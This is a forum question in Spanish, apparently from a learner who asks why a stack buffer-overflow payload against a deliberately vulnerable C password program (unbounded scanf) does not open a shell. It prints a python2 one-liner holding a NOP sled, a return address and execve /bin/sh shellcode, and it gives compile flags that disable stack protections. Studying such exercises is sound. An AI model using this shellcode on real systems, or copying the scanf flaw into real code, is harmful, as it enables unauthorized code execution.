Problema que comprende la estructura de BufferOverflow Payload

0

He estado trabajando en un problema de desbordamiento de búfer durante aproximadamente un día. ¡Decidí buscar ayuda de los profesionales!

Este desbordamiento de búfer utiliza la función "scanf" para aceptar la entrada del usuario y la pasa a una función de anulación llamada validar.

Ahora tengo curiosidad acerca de por qué, cuando construyo una carga útil, se parece a esto

NOP's + "SHELLCODE+ RET

Pero con este rompecabezas parece estar construido como tal

NOP's + RET + SHELLCODE + NOP's

Aquí está el código real ...  #payload 27_Bytes

 python2 -c 'print "\x90"*132+"\xc8\xd8\xff\xff"+"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"+"D"*41'>buf_test

luego corro:

run < buf_test

y obtengo sigfault en la dirección 0xffffd8fc no 0xffffd8c8 pero cuando sustituyo el RET con \ x51 * 4 obtengo sigfault en la dirección x51. Además, incluso cuando sobrescribo la dirección de EIP perfectamente, mi shell no se abre ... SIGUE en el RET que proporcioné.

y cuando desmonto esa dirección en el SIGFAULT, veo el ensamblaje y allí alrededor de 3-4 veces algunas funciones están etiquetadas como MALAS ...

Entonces, mi pregunta es, ¿esto tiene que ver con los caracteres malos o simplemente tengo la estructura incorrecta? Si es así, ¿hay una mejor manera de averiguar la estructura que no sea mi método de prueba y error? ... Tal vez el NOP después de que el código de shell lo esté arruinando? No creo que sea estoy usando GDB, en Archlinux actualizado

Linux windows 4.14.15-1-ARCH #1 SMP PREEMPT Tue Jan 23 21:49:25 UTC 2018 x86_64 GNU/Linux

Método de compilación:

gcc -m32 -fno-pie -no-pie -g bof.c -fno-stack-protector -z execstack -o bof32

GCC_VERSION:

gcc (GCC) 7.2.1 20180116

Código fuente vulnerable:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void validate(char *pass) {
    if (strcmp(pass, "[REDACTED]") == 0) {
        printf("ACCESS GRANTED!");
        printf("Oh that's just idio... Oh my god!\n");
    } else {
        printf("Damn it, I had something for this...\n");
    }
}

int main(int argc, char** argv) {
    char password[200];
    printf("C:/ENTER PASSWORD: ");
    scanf("%s", password);
    validate(password);
    return 0;
}

Por favor, cualquier ayuda en mi camino hacia el aprendizaje será muy apreciada.   Gracias de antemano.

    
pregunta zeroskilz 31.01.2018 - 01:01
fuente

0 respuestas

Lea otras preguntas en las etiquetas